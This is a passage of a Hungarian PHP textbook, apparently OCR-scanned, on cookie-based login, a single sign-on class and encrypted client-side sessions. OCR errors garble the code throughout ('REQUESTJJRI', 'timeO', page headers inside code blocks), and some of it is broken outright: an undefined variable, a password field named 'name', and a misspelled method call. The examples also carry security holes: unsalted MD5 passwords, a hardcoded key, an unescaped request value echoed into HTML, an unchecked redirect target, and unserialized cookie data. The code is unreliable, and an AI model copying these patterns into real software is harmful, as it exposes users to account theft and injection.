Ez azt jelenti, hogy a böngészőnek kikapcsoláskor automatikusan el kell dobnia ezt a sutit. Végezetül, a logout tagfüggvény kiüríti a sütít, üres értékűvé teszi, 0 lejárati idővel - ez, mivel Unix időbélyegzőkről van szó, 1969. december 31. este 7 órát jelent. Az osztály belsejében van néhány segédfüggvényünk is. A _package és az _unpackage az implode és az explode segítségével képes a kívánt adatok tömbjét egy karakterláncba írni, illetve onnan kigyűjteni. Az _encrypt és a _decrypt a kódolásért, illetve a visszafejtésért felel. Az előbbi egy tiszta szövegből álló karakterláncot kódol az osztálytulajdonságokkal megadott módszerrel (blowfish), a _decrypt pedig visszafejti a karakterláncot, és visszaadja az eredményt.

13. fejezet • A felhasználók hitelesítése és a munkamenetek biztonsága

365

Figyeljük meg a következő sort: $iv = mcrypt_create_iv (mcrypt_enc_get_iv_size ( $ t d ) , MCRYPT_RAND);

Ezt a kódoló függvény „kezdővektorának", illetve magjának meghatározásához használjuk, majd az eredményt átadjuk a kódolt karakterlánccal. Megadhatunk saját kezdővektort is. Számos fejlesztő él ezzel a lehetőséggel, de elköveti azt a hibát, hogy mind a kezdővektort, mind a kulcsot tárolja a kódolási könyvtárban. Ha szimmetrikus kódolást használunk rögzített kulccsal CBC, CFB, vagy OFB módban, fontos, hogy véletlen kezdővektort használjunk, egyébként a sütik könnyen támadások áldozatául eshetnek. Ez különösen a CFB és az OFB esetében lényeges, a CBC módnál kevésbé jelent veszélyt. A könyvtárt a használat érdekében egy függvénybe burkoljuk, melyet minden oldal elején meghívunk: function check_auth() { try { $cookie = new Cookie(); $cookie->validate() ;
}

catch (AuthException $e) { header("Location: /login.php?originating_uri=".$_SERVER['REQUESTJJRI']); exit ;
} }

Ha a felhasználó sütije érvényes, továbbhaladhat, ha pedig nem, visszakerül a bejelentkezési oldalra. Amennyiben a felhasználó sütije nem létezik, vagy bármilyen gond adódik az ellenőrzésénél, szintén visszakerül a bejelentkezési oldalra. Ha a $_GET értékét az origination_uri-ra állítjuk, egyszerűen visszakerülhetünk a kezdőoldalra. A login.php egy egyszerű űrlap, amely lehetővé teszi a felhasználó számára, hogy beírja azonosítóját és jelszavát. Amennyiben sikerrel járt, a rendszer beállítja munkameneti sütijét, és visszakerül az eredeti oldalra, ahonnan jött:
<?php require_once 'Cookie.inc'; require_once 'Authentication.inc'; require_once 'Exception.inc'; $name = $_POST['name']; $password = $_POST['password'];

366

PHP fejlesztés felsőfokon

$uri = $_REQUEST['originating_uri']; if(!$uri) { $uri = ' / ' ; } try { $userid = Authentication::check_credentials ($name, $password); $cookie = new Cookie($userid); $cookie->set(); header("Locat ion: $uri"); exit ; } catch (AuthException $e) { ?> <html> <title> Login </title> <body> <form name=login method=post> Username: <input type="text" name= "name"xbr> Password: <input type="password" name="name"xbr> <input type="hidden" name="originating_uri" value="<?= $_REQUEST['originating_uri'] ?> <input type=submit name=submitted value="Login"> </form> </body> </html> <?php } ?> A felhasználók azonosító-jelszó párjainak ellenőrzésére a korábban megismert check_credentials függvényt alkalmazhatjuk: class Authentication { function check_credentials($name, $password) { $dbh = new DB_Mysql_Prod(); $cur = $dbh->prepare(" SELECT userid FROM users WHERE username = : 1 AND password = :2")->execute($name, md5($password)); $row = $cur->fetch_assoc(); if($row) { $userid = $row['userid' ] ;
}

13. fejezet • A felhasználók hitelesítése és a munkamenetek biztonsága

367

else { throw new AuthException("user is not authorized");
}

return $userid;
} }

Figyeljük meg, hogy a felhasználó jelszavát nem egyszerű szöveges formában tároltuk, hanem készítettünk belőle egy MD5 kivonatot. Nagy előnye ennek a módszernek, hogy még ha adatbázisunkat fel is törik, a felhasználók jelszavaihoz nem jutnak hozzá. Hátulütője pedig az (már amennyiben annak tekintjük), hogy a felhasználók jelszavait nem tudjuk előbányászni, csak felülírni. Ha módosítani szeretnénk a hitelesítés módszerét (melynek alapja lehet mondjuk a jelszó kikeresése, Kerberos, vagy LDAP), csak az authenticate függvényt kell megváltoztatnunk, a kód további része ettől függetlenül működik.

Egyszeri feliratkozás
Gondoljuk most egy kicsit tovább síelős példánkat. Egyes síközpontok kapcsolatban állhatnak más hegyeken levőkkel, így az a síbérlet, mellyel egyikük szolgáltatásait igénybe vehetjük, érvényes lehet máshol is. Ha tehát az egyik központban vásárolt síbérlettel megjelenünk egy másik helyen, az ottani központ is minden további nélkül ad egy felvonójegyet. Gyakorlatilag ez a lényege az egyszeri feliratkozás módszerének.

Egyszeri feliratkozás - a múlt sötét foltjai

Az egyszeri feliratkozás elvének népszerűségét jelentősen megtépázta a Microsoft Passport körül támadt vihar. Mindazonáltal a Passport kapcsán felmerült valóban komoly kérdések nem arról szóltak, hogy az egyszeri feliratkozás jó vagy rossz, hanem bizonyos biztonsági gondokról, melyek alapja egy külső gyártó által készített központi hitelesítő volt. Jelen esetben nem beszélhetünk valódi külső gyártókról - itt a hitelesítés egymásban megbízó partnerek közt folyik.

Gyakran előfordul, hogy egy cég több, különböző név alatt futó webhelyét üzemeltet (különböző webhelyek, különböző tartományok - azonos vezetőség). Tegyük fel például, hogy két áruház felett rendelkezünk, és szeretnénk, hogy a felhasználók adatai az egyikből automatikusan átkerüljenek a másikba is, így ne kelljen feleslegesen kétszer ugyanazokat az űrlapokat kitölteniük. A sütik a tartományokhoz kötődnek, így nem alkalmazhatjuk az egyik tartomány sütijeit a felhasználó hitelesítésére egy másikban.

368

PHP fejlesztés felsőfokon A 13.1. ábrán láthatjuk, mi történik, amikor a felhasználó elsőként belép egy osztott hitelesítésű rendszer valamelyik webhelyére.

13.1. ábra Kezdeti belépés az egyszeri feliratkozásos rendszerbe. A bejelentkezés során a felhasználó az alábbi lépéseket tapasztalja: 1. Az ügyfél lekérdezést intéz a www. example . f oo webkiszolgálóhoz. 2. Az oldal észleli, hogy a felhasználó még nincs bejelentkezve (nincs érvényes munkameneti sütije a www. example. f oo-hoz), és átirányítja a www. singlesignon.com bejelentkezési lapjára. Ez az átirányítás emellett tartalmaz egy rejtett változót is egy titkosított hitelesítési kérelemmel, ami igazolja, hogy a kérelem a www. example. f oo webhelyről származik. 3- Az ügyfél elküldi a kérelmet a www. singlesignon. com bejelentkezési oldalára. 4. A www. singlesignon. com megjeleníti a felhasználónév/jelszó ablakot. 5. Az ügyfél elküldi az űrlap tartalmát egy hitelesítési kérelemmel a hitelesítő kiszolgálóhoz. 6. A hitelesítő kiszolgáló feldolgozza a kérelmet, majd visszairányít a www. example. f oo címre, egy titkosított azonosítási válasszal. A kiszolgáló emellett elkészíti a felhasználó munkameneti sütijét is. 7. A felhasználó utolsó kérelmében visszaküldi a hitelesítő választ a www. example . f oo címre. 8. A www. example. f oo ellenőrzi a kódolt hitelesítő választ, melyet a hitelesítő kiszolgálótól kapott, és beállít egy munkameneti sutit a felhasználó számára. A későbbi bejelentkezési kísérleteknél bármely olyan webhelyen, amely ugyanehhez a bejelentkezési kiszolgálóhoz kapcsolódik, a legtöbb lépés lerövidül. A 13.2. ábra egy második bejelentkezési kísérletet mutat be egy, az előzőektől eltérő webhelyről.

13. fejezet • A felhasználók hitelesítése és a munkamenetek biztonsága

369

13.2. ábra

Az egyszeri feliratkozásos rendszer működése az első belépés után. A folyamat első része megegyezik a 13.1. ábrán bemutatottal - annyi különbséggel, hogy amikor az ügyfél kérelmet küld a www. singlesignon.com címre, most már átadja a korábban a 6. lépésben készített sutit is. Lássuk e folyamat lépéseit: 1. Az ügyfél lekérdezést intéz a www. example. com webkiszolgálóhoz. 2. Az oldal észleli, hogy a felhasználó még nincs bejelentkezve (nincs érvényes munkameneti sütije a www. example. com-hoz), és átirányítja a www. singlesignon. com bejelentkezési lapjára. Ez az átirányítás emellett tartalmaz egy rejtett változót is egy titkosított hitelesítési kérelemmel, ami igazolja, hogy a kérelem a www. example. com webhelyről származik. 3. Az ügyfél elküldi a kérelmet a www. singlesignon. com bejelentkezési oldalára. 4. A hitelesítő kiszolgáló ellenőrzi a felhasználó singlesignon sütijét, elkészíti a hitelesítési választ, és átirányítja a felhasználót a www. example . com címre. 5. A felhasználó utolsó kérelmében visszaküldi a hitelesítő választ a www. example . com címre. 6. A www. example . com ellenőrzi a kódolt hitelesítő választ, melyet a hitelesítő kiszolgálótól kapott, és beállít egy munkameneti sutit a felhasználó számára. Jóllehet, ez meglehetősen munkaigényesnek tűnik, a folyamat teljességgel rejtve marad a felhasználó előtt. A második bejelentkezési kérelem azonnali hitelesítés után egyszerűen visszapattan a hitelesítő kiszolgálóról, és a felhasználó adatainak beállítása után visszakerül az eredeti webhelyre.

Az egyszeri feliratkozás megvalósítása
Lássunk most egy rövid példát az egyszeri feliratkozásos rendszer megvalósítására. Fontos megjegyeznünk, hogy itt mind a központi, mind a külső kiszolgálók által használt függvények megtalálhatók. Vegyük észre azt is, hogy ez az osztály saját mcrypt burkoló függve-

370

PHP fejlesztés felsőfokon

nyekkel rendelkezik. Persze, ha már volt külső mcrypt burkoló könyvtárunk, melynek használatát megszoktuk, ezt is behelyettesíthetjük. class SingleSignOn { protected $cypher = 'blowfish1; protected $mode = 'c f b ' ; protected $key = 'choose a better key'; protected $td; protected $glue = ' I ' ; protected $clock_skew = 60 ; protected $myversion = 1; protected $client; protected $authserver; protected $userid; public $originating_uri; public function ______construct() { // az mcrypt környezet beállításai $this->td = mcrypt_module_open ($this->cypher,
}

'', $this->mode,

'');

public function generate_auth_request() { $parts = array ($thís->myversion, timeO, $this->client, $this->originating_uri); $plaintext = implode($this~>glue, $parts); $reguest = $this->_encrypt($plaintext); header("Location: $client->server?request=$request");
}

public function process_auth_request($crypttext) { $plaintext = $this->_decrypt($crypttext); list($version, $time, $this->client, $this->originating_uri) = explode($this->glue, $plaintext); if( $version != $this->myversion) { throw new SignonException("version mismatch");
}

if(abs(time() - $time) > $this->clock_skew) { throw new SignonException("request tokén is outdated"); } } public function generate_auth_response() { $parts = array($this->myversíon, time(), $this->userid); $plaintext = implode($this->glue, $parts); $request = $this->_encrypt($plaintext); header("Location: $this ->client$this->originating_uri?response=$request"); }

13. fejezet * A felhasználók hitelesítése és a munkamenetek biztonsága

371

public function process_auth_response($crypttext) { $plaintext = $this->_decrypt($crypttext); list ($version, $time, $this->userid) = explode($this->glue, $plaintext); if( $version != $this->myversion) { throw new SignonException("version mismatch"); } if (abs(time() - $time) > $this->clock_skew) { throw new SignonException("response tokén is outdated"); } return $this->userid; } protected function _encrypt($plaintext) { $iv = mcrypt_create_iv (mcrypt_enc_get_iv_size ($td), MCRYPT_RAND); mcrypt_generic_init ($this->td, $this->key, $iv); $crypttext = mcrypt_generic ($this->td, $plaintext); mcrypt_generic_deinit ($this->td); return $iv.$crypttext; } protected function _decrypt($crypttext) { $ivsize = mcrypt_get_iv_size($this->td) ; $iv = substr($crypttext, 0, $ivsize); $crypttext = substr($crypttext, $ivsize); mcrypt_generic_init ($this->td, $this->key, $iv); $plaintext = mdecrypt_generic ($this->td, $crypttext); mcrypt_generic_deinit ($this->td); return $plaintext; } }

A SingleSignOn osztály nem sokkal bonyolultabb, mint a korábban megismert Cookie. A legnagyobb különbség az, hogy most már két különböző típusú üzenetet (kérelmet és választ) továbbítunk, és ezeket lekérdezési karakterlánc paraméterekként adjuk át, nem pedig sütik formájában. A kódban természetesen találhatunk egy előállító és egy feldolgozó tagfüggvényt mind a kérelmek, mind a válaszok részére. Bizonyára megismerjük régi jó barátainkat, az _encrypt és a _decrypt függvényeket a Cookie. inc-ből - ők változatlan alakban jelennek meg. Használatukhoz mindenekelőtt helyesen kell beállítanunk a paramétereket. Az alábbiak szerint egyszerűen példányosíthatunk egy SingleSignOn objektumot: <?php include_once 'SingleSignOn.inc'; $client = new SingleSignOn(); $client->client = "http://www.example.foo"; $client->server = "http://www.singlesignon.foo/signon.php";
?>

372

PHP fejlesztés felsőfokon

Nos, ez egy kissé hosszadalmas, ezért hát visszatérhetünk jól bevált módszerünkhöz, és bővíthetjük az osztályt, megadva tulajdonságait: class SingleSignOn_Example extends SingleSignOn { protected $client = "http://www.example.foo"; protected $server = "http://www.singlesignon.foo/signon.php";
}

Most módosítanunk kell általános hitelesítési burkolónkat, hogy ne csak azt ellenőrizze, a felhasználó rendelkezik-e sütivel, hanem azt is, hogy kapott-e hitelesített választ a hitelesítő kiszolgálótól: function check_auth() { try { $cookie = new CookieO; $cookie->validate();
}

catch(AuthException $e) { try { $client = new SingleSignOn(); $client->process_auth_response($_GET['response']); $cookie->userid = $client->userid; $cookie->set();
}

catch(SignOnException $e) { $client->originating_uri = $_SERVER['REQUESTJJRI']; $client->generate_auth_request(); // mivel egy 302-es átirányítást küldtünk, // minden más műveletet leállíthatunk exit ;
} } }

A kód a következők szerint működik. Amennyiben a felhasználó rendelkezik érvényes sütivel, azonnal továbbmehet. Ha nem ez a helyzet, ellenőriznünk kell, hogy érkezett-e számára érvényes válasz a hitelesítő kiszolgálótól. Amennyiben igen, készítünk a számára egy, a webhelyre érvényes sutit, és továbbküldjük, egyébként pedig létrehozunk egy hitelesítési kérelmet, és a felhasználót továbbküldjük a hitelesítő kiszolgálóhoz, átadva az aktuális URL-t, biztosítva ezzel, hogy a hitelesítés végeztével a megfelelő helyre kerüljön. A hitelesítő kiszolgálón található signon.php hasonlít a korábban összeállított bejelentkezési oldalhoz:
<?php require_once 'Cookie.inc'; require_once 'SingleSignOn.inc';

13. fejezet * A felhasználók hitelesítése és a munkamenetek biztonsága

373

$name = $_POST [ ' name ' ] ; $password = $_POST['password'] ; $request = $_REQUEST['request' ] ; try { $signon = new SingleSignOn(); $signon->process_auth_request($request) ; if($name && $password) { $userid = CentralizedAuthentication::check_credentials($name, $password, $signon->client); } else { $cookie = new Cookie(); $cookie->validate(); CentralizedAuthentication::check_credentialsFromCookie($cookie ->userid, $signon->client); $userid = $cookie->userid; } $signon->userid = $userid; $resetcookie = new Cookie($userid); $cookie->set(); $signon->generate_auth_reponse(); return; } catch (AuthException $e) { ?> <html>

<title>SingleSignOn Sign-In</title> <body> <form name=signon method=post> Username: <input type="text" name="name"xbr> Password: <input type= "password" name= "name"xbr> <input type="hidden" name="auth_request" value="<?= $_REQUEST['request'] ?> <input type=submit name=submitted value="Login"> </form> </body> </html>
<? }

catch (SignonException $e) { header("HTTP/1.0 403 Forbidden");
} ?>

Vizsgáljuk meg a központi try {} blokk működését! Először is feldolgozzuk a hitelesítési kérelmet. Amennyiben nem érvényes, a kérelmet nem egy számunkra ismert ügyféltől kaptuk. így azonnal reagálhatunk egy SignOnException kivétellel, ami 403 Forbidden

374

PHP fejlesztés felsőfokon

üzenetet küld a felhasználónak. Ezután megkísérlünk beolvasni egy sutit a hitelesítő kiszolgáló számára. Amennyiben ez létezik, már találkoztunk ezzel a felhasználóval, így megkereshetjük az azonosítója alapján (a check_credentialsFromCookie-ban). Ezután, feltételezve, hogy a felhasználó a kérelmező tartományhoz igényelte a hitelesítést, visszaküldhetjük oda, ahonnan érkezett, egy érvényes hitelesítési válasszal. Amennyiben nem találunk érvényes sutit (akár azért, mert a felhasználó nem rendelkezik ilyennel, akár azért, mert lejárt), visszakerülünk a bejelentkezési űrlapra. Utolsó feladatunk a kiszolgáló oldali hitelesítő függvények megvalósítása. A korábbiakhoz hasonlóan ezek teljesen önálló összetevők, így építhetők jelszavakra, LDAP-re, vagy más hitelesítési háttérre. Ha a MySQL-nél maradunk, az alábbi függvénypárt készíthetjük el. class CentralizedAuthentication { function check_credentials($name, $password, $client) $dbh = new DB_Mysql_Prod(); $cur = $dbh->prepare(" SELECT userid

{

FROM ss_users WHERE name = : 1 AND password = :2 AND client = :3")->execute($name, md5($password), $client); $row = $cur->fetch_assoc(); if($row) { $userid = $row['userid']; } else { throw new SignonException("user is not authorized"); } return $userid; } function check_credentialsFromCookie($userid, $server) { $dbh = new DB_Mysql_Test(); $cur = $dbh->prepare(" SELECT userid FROM ss_users WHERE userid = :1 AND server = :2")->execute($userid, $server); $row = $cur->fetch_assoc() ;

13. fejezet • A felhasználók hitelesítése és a munkamenetek biztonsága

375

i f(!$row) { throw new SignonException("user is not authorized");
} } }

Nagyszerű, elkészítettünk tehát egy teljes, jól működő egyszeri feliratkozásos rendszert. Ez a tudás a jövőben sok esetben hasznunkra lehet, hiszen a cégek kapcsolatainak szaporodásával a hitelesítés kiterjesztése egyre fontosabbá válik.

További olvasmányok
Az egyszerű HTTP-hitelesítés rendszere és a PHP kapcsolatáról Luké Welling és Laura Thomson PHP and MySQL Web Development című könyvében olvashatunk. Az egyszerű hitelesítés szabványát az RFC 2617 adja meg (www. ietf .org/rf c/rf c2617 .txt). A PHP elektronikus kézikönyvében kimerítő leírást kapunk a sütik használatáról, ha azonban ez nem elégítené ki igényeinket, megtekinthetjük az RFC 2109-et (www. ietf.org/rfc/rfc2617 .txt), illetve a Netscape eredeti meghatározását (http://wp.netscape.com/newsref/std/cookie_spec.html). Egyetlen programozó könyvtára sem lehet teljes Bruce Schneier Applied Cryptogmphy című könyve nélkül, melyet csak az alkalmazott kriptográfia bibliájaként emlegetnek. Hihetetlenül átfogó, és minden ismertebb titkosítási módszert behatóan tárgyal. Egy újabb könyve, a Secrets and Lies: Digital Security in a Networked World napjaink digitális biztonsági rendszereinek technikai és egyéb hiányosságaival foglalkozik. A Washingtoni Egyetemen fejlesztett nyílt forrású egyszeri feliratkozásos rendszer, a pubcookie megtalálható a www.washington.edu/pubcookie címen. A fejezetünkben bemutatott rendszer a pubcookie és a Microsoft Passport protokoll ötvözetének tekinthető. Avi Rubin és Dávid Kormann érdekes cikke az egyszeri feliratkozásos rendszer kockázatairól (Risks ofthe Passport Single Signon Protocol) a következő címen található meg: http://avirubin.com/passport.html

Munkamenetek kezelése
A 13. fejezetben a felhasználók munkameneteinek hitelesítéséről ejtettünk szót. Amellett azonban, hogy meg szeretnénk győződni az egymás utáni kérelmek közös eredetéről, gyakran a felhasználó állapotadatait is meg kívánjuk őrizni a kérelmek között. Bizonyos alkalmazásoknak - így az elektronikus bevásárlókocsiknak és egyes játékoknak - szükségük van az állapotok megőrzésére. Mindazonáltal, az állapotok ennél sokkal szélesebb körben használatosak. Az állapotok nyilvántartása az alkalmazásokban jelentős kihívás elé állíthat, az esetlegesen felhalmozódó adatok nagy mennyisége miatt. Egy bevásárlókocsit kezelő alkalmazás esetében lehetőséget kell adnunk a felhasználóknak arra, hogy árukat pakoljanak a kocsiba, és a teljes munkamenet alatt követnünk kell ennek állapotát. A PHP nem teszi lehetővé, hogy bármit is megőrizzünk a kérelmek között, így adatainkat valahol tárolnunk kell, ahol a kérelem teljesítése után is elérhetők maradnak. Az állapotok követésére számos módszer létezik - használhatunk sütiket, lekérdezési karakterláncokat, DBM, adatbázis, vagy alkalmazáskiszolgáló alapú gyorstárakat, a PHP belső munkamenet-kezelési eszközeit, vagy valamilyen házi fejlesztésű módszert. Ilyen nagy választék mellett szükség van valamilyen rendező elvre. Lehetőségeinket nyomban két csoportra oszthatjuk, attól függően, hogy az adatok zömét az ügyfél vagy a kiszolgáló oldalán tároljuk: • Ügyfél oldali munkamenetek - Ilyen esetben a munkamenet állapotait javarészt át kell vinnünk az ügyfél és a kiszolgáló között minden kérelem esetén. Ez a megoldás túlzottan is egyszerűnek tűnhet — az ilyen munkameneteket gyakran nehézsúlyúnak is hívják, tekintettel az ügyfél-kiszolgáló adatforgalom mértékére. A nehézsúlyú munkamenetek akkor jöhetnek számításba, ha az állapotadatok mérete kicsi. Működésükhöz nincs vagy csak kevés háttértámogatásra van szükség. (Nem rendelkeznek háttértárolóval.) Igaz ugyan, hogy az átvitt tartalom tekintetében nehézsúlyúak, de annál hatékonyabbak az adatbázis, illetve a háttértár kihasználása terén. Mindez azt is jelenti, hogy elosztott rendszerbe helyezésükhöz csak apró módosításokra van szükség.

378

PHP fejlesztés felsőfokon

• Kiszolgáló oldali munkamenetek - E munkamenetek esetében igen kicsi ügyfél-kiszolgáló adatforgalomra van szükség. Itt jellemzően egy azonosítót rendelnek az adott munkamenethez, ezután csak ezt az azonosítót kell átvinni. A kiszolgáló oldalon az állapotot valamilyen munkameneti tárolóban raktározzák (jellemzően adatbázis vagy fájl alapú kezelőben), és a munkamenet-azonosító szolgál arra, hogy összekösse a kérelmet a hozzá tartozó állapotadatokkal. Egyes kiszolgáló oldali munkamenet-megvalósítások nehezen illeszkedhetnek elosztott szerkezetekbe. A korábbi fejezetekben számos munkameneti gyorstárral ismerkedhettünk meg, melyek a teljesítmény növelése érdekében az ügyfél munkamenetének különböző részeit tárolták. Az alapvető különbség a korábban megismert munkameneti gyorstárak és a munkameneti állapotok között az, hogy az előbbiek olyan adatokat tárolnak, amelyek amúgy is elérhetők - jóllehet lassan —, és ezeket gyorsabban és kényelmesebben elérhető formában bocsátják rendelkezésre. A munkamenet állapotadatai ezzel szemben nem érhetők el más formában, de az alkalmazás helyes működéséhez mindenképpen szükség van rájuk.

Ügyfél oldali munkamenetek
Amikor felkeressük orvosunkat, ahhoz, hogy megfelelően ellásson, hozzá kell férnie kórtörténeti adatainkhoz. Ennek egyik módja, ha kórlapunkat magunk hozzuk el, és a látogatás kezdetén odaadjuk az orvosnak. Ez a módszer biztosítja, hogy a doktor mindig a legfrissebb adatokhoz jusson hozzá, hiszen csak egyetlen példányban állnak rendelkezésre, és azt mi magunk birtokoljuk. Ez a módszer eredeti formájában már kiment a divatból egyes országokban, de a tárolási módszerek fejlődésével felmerült egy olyan kártya használatának lehetősége, melyen a beteg megkapja teljes kórtörténetét. Ez igencsak hasonlít az ügyfél oldali munkamenetek esetéhez, hiszen ilyenkor a felhasználó minden szükséges adatot magával hordoz, és nincs szükség semmiféle központi adattárolóra. A másik lehetséges módszer, ha a kórtörténeti adatokat az orvosi rendelőben tároljuk. Ezt az eljárást alkalmazzák jelenleg Magyarországon. Ez hasonlít a kiszolgáló oldali munkamenet rendszeréhez, amikor a felhasználó csak egy azonosító kártyát hoz magával, és ez alapján keresik ki adatait a központi tárolóból. A fenti hasonlat rávilágít az ügyfél oldali munkamenetek néhány gyenge pontjára: • Fennáll az illetéktelen betekintés, illetve módosítás lehetősége. • Az ügyfél oldali munkamenetek átvitele nehézkes. • Fennáll az adatvesztés kockázata. Az ügyfél oldali munkamenetek nem örvendenek jó hírnévnek. A fejlesztők gyakran túlzottan nagy fegyvertárat vetnek be a feladatok megoldása érdekében, alkalmazásokat és adatbázisokra épülő munkamenet-kezelést alkalmaznak, ugyanis ezeket „komolyabb"

14. fejezet • Munkamenetek kezelése

379

eszközöknek vélik. Érezhető továbbá egy olyan tendencia a nagyléptékű programtervezés területén, amely a nehézsúlyú munkamenetek felől inkább a kiszolgáló oldali gyorstárak felé mutat. Mindezt azzal indokolják, hogy a kiszolgáló alapú gyorstár a legtöbb állapotadatot az alkalmazás számára elérhető helyen tárolja, és könnyebben kibővíthető más munkameneti adatok raktározására.

Munkamenetek megvalósítása sütik segítségével
A 13. fejezetben láthattuk, hogy a sütik nagyszerű megoldást jelentenek a munkamenetek adatainak átadására. Hamarosan tapasztalhatjuk majd, hogy akkor is hasznos eszközök lehetnek, ha nagyobb adatmennyiségről van szó. A munkamenetek használatának bemutatására a legegyszerűbb sa, hányszor kereste fel egy felhasználó az adott oldalt: <?php $MY_SESSION = unserialize(stripslashes($_COOKIE['session_cookie'])); $MY_SESSION['count' ] ++; setcookie("session_cookie", serialize($MY_SESSION), time() + 3 6 0 0 ) ; ?> You have visited this page <?= $MY_SESSION['count' ] ?> times. példa annak megszámolá-

Példánkban egy session_cookie nevű süti tárolja a $MY_SESSION tömb tartalmát, amely ez esetben egy count kulcsra épülő látogatásszámláló. A setcookie () automatikusan kódolja a paramétereit az urlencode () tagfüggvénnyel, így az oldaltól kapott süti az alábbi alakban áll elő: Set-Cookie: session_cookie=a%3Al%3A%7Bs%3A5%3A%22count%22%3Bi%3Al%3B%7D; expires=Mon, 03-Mar-2003 0 7 :0 7 :1 9 GMT

Ha visszafejtjük a süti adatokat tartalmazó részét, az alábbiakat kapjuk: a: 1:{s:5:"count";i:1;} Ez pedig (pontosan, amint vártuk) az alábbi kifejezés sorosított alakja: $MY_SESSION = array('count' => 1);

380

PHP fejlesztés felsőfokon

Sorosított adatok a sütikben

Alapértelmezés szerint a PHP az addslashes () függvényt futtatja minden olyan adaton, melyet a COOKIE, a POST vagy a GET változókon keresztül kap meg. Ez egy biztonsági lépés, ami segít a felhasználók adatainak megtisztításában. Mivel szinte minden sorosított változó tartalmaz idézőjeleket, futtatnunk kell a stripslashes () tagfüggvényt a $_COOKIE [ ' session_data ' ] változón, mielőtt visszaalakítanánk. Ha megszoktuk, hogy kézi munkával tisztítjuk meg a felhasználói bemenetet, és pontosan tudjuk, mit csinálunk, eltávolíthatjuk az idézőjeleket a php. ini fájl magic_quotes_qpc = Of f beállításával.

A felhasználóknak természetesen nem jelent nehézséget az, hogy saját sütijeikben a fenti értékek bármelyikét megváltoztassák. Ezekben a példákban ez nem okozna semmiféle gondot, de az alkalmazások többségében nem szeretnénk megadni e módosítás lehetőségét. Ezért ha ügyfél oldali munkameneteket használunk, minden esetben titkosítanunk kell a munkamenetek adatait. A 13- fejezetben megismert titkosító függvények tökéletesen megfelelnek e célnak.
<?php // Encryption.inc class Encryption { static $cypher = 'blowfish'; static $mode = 'cfb'; static $key = 'choose a better key' ; public function encrypt($plaintext) { $td = mcrypt_module_open (self::$cypher, '', self::$mode, ''); $iv = mcrypt_create_iv (mcrypt_enc_get_iv_size ($td), MCRYPT_RAND); mcrypt_generic_init ($td, self::$key, $iv); $crypttext = mcrypt_generic ($td, $plaintext); mcrypt_generic_deinit ($td); return $iv.$crypttext; } public function decrypt($crypttext) { $td = mcrypt_module_open (self::$cypher, '', self::$mode, ' '); $ivsize = mcrypt_enc_get_iv_size($td); $iv = substr($crypttext, 0, $ivsize); $crypttext = substr($crypttext, $ivsize); $plaintext = " " ; if ( $iv ) { mcrypt_generic_init ($td, self::$key, $iv); $plaintext = mdecrypt_generic ($td, $crypttext); mcrypt_generic_deinit ($td); }

14. fejezet • Munkamenetek kezelése

381

return $plaintext;
} } ?>

Az oldal kódjának egyszerű módosításával elérhetjük, hogy kódolja a sorosított adatokat, mielőtt elküldené a sütiben:
<?php include_once 'Encryption.inc'; $MY_SESSION = unserialize( stripslashes( Encryption::decrypt($_COOKIE['session_cookie']) ) ); $MY_SESSION['count' ] ++ ; setcookie("session_cookie", Encryption::encrypt(serialize($MY_SESSION)), time() + 3600); ?>

Példánk tapasztalataiból kiindulva tehetünk néhány megállapítást a nehézsúlyú munkamenetekkel kapcsolatban. Könnyen láthatók az alábbi előnyös tulajdonságok: • Alacsony háttérterhelés - Munkám során egy általános irányelvhez mindig tartom magam - soha nem használok adatbázist, ha erre nincs feltétlenül szükség. Az adatbázisrendszerek elosztása nehéz, méretezésük költséges, és gyakran válhatnak szűk keresztmetszetté. A munkamenetek adatai jobbára rövid ideig érvényesek, így olyan hosszú távú tárolási eszköz, mint egy adatbázis-kezelő rendszer használata esetükben megkérdőjelezhető. • Könnyű alkalmazhatóság elosztott rendszerek esetében - Mivel a munkamenet minden adata a kérelemben található, ez a módszer könnyen kibővíthető több gépből álló fürtökre is. • Könnyű alkalmazhatóság nagy számú ügyfél esetén is - A munkamenetek állapotainak ügyfél oldali kezelése nagyszerű módszer az ügyfelek számának növelése szempontjából is. Jóllehet szükségünk lesz további kapacitásra a forgalomnövekedés kielégítésére, de magukat az ügyfeleket újabb költségek nélkül beilleszthetjük a rendszerbe. A munkamenetek nagy mennyiségű adatának feldolgozása teljesen az ügyfelekre hárul, és olyan egyenletesen oszlik el, hogy az egyes ügyfelek terhelése minimális.

382

PHP fejlesztés felsőfokon

Az ügyfél oldali munkamenetek használatának persze hátrányai is vannak: • Nem igazán alkalmasak nagy mennyiségű adat átvitelére -Jóllehet szinte minden böngésző támogatja a sütiket, rendelkeznek valamilyen belső korlátozással ezek méretére nézve. A gyakorlatban ez a korlát valahol 4 KB felett van. Mindazonáltal, még a 4 KB-os sütik is nagynak számítanak. Ne feledjük, ez a süti minden olyan kérelemmel átmegy, ami a sütihez tartozó tartományba tart, illetve az útvonalán halad. Mindez érezhetően lelassíthatja az adatátvitelt kis sebességű vagy nagy késleltetésű kapcsolatokban, és akkor még nem is szóltunk a sávszélesség-veszteségről. Jómagam egyfajta „lágy" 1 KB-os korlátozást használok az alkalmazásaimban használt sütiknél. Ez a méret még kezelhető, ugyanakkor elegendő adatot tárolhatunk benne. • Nehéz újrahasznosítani az adatokat a munkamenet környezetén kívül - Mivel az adatokat a rendszer csak az ügyfél oldalon tárolja, nem érhetjük el azokat, ha a felhasználó nem intéz kérelmet hozzánk. • A kimenet elkészítése előtt minden munkameneti adatot rögzítenünk kell - Mivel a sütiket még azelőtt át kell küldeni az ügyfélnek, mielőtt bármilyen tartalmat átadnánk, az adatátvitelt megelőzően be kell fejeznünk a munkameneti módosításokat, és meg kell hívnunk a setcookie () tagfüggvényt. Természetesen ha átmeneti tárolást alkalmazunk a kimenetre, ez a korlátozás nem áll fenn, így a sütiket bármikor beállíthatjuk.

A példa továbbfejlesztése
Ahhoz, hogy ügyfél oldali munkameneteink valóban hasznosíthatók legyenek, készítenünk kell köréjük egy elérési könyvtárat. íme egy példa:
// cs_sessions.inc require_once 'Encryption.inc'; function cs_session_read($name='MY_SESSION') { global $MY_SESSION; $MY_SESSION = unserialize(Encryption::decrypt(stripslashes($_COOKIE[$name]))); } function cs_session_write($name='MY_SESSION', $expiration=3600) { global $MY_SESSION; setcookie($name, Encryption::encrypt(serialize($MY_SESSION)), time() + $expiration); } function cs_session_destroy($name) { global $MY_SESSION; setcookie($name, "", 0); }

14. fejezet • Munkamenetek kezelése

383

Az eredeti látogatásszámláló példa most így fest:
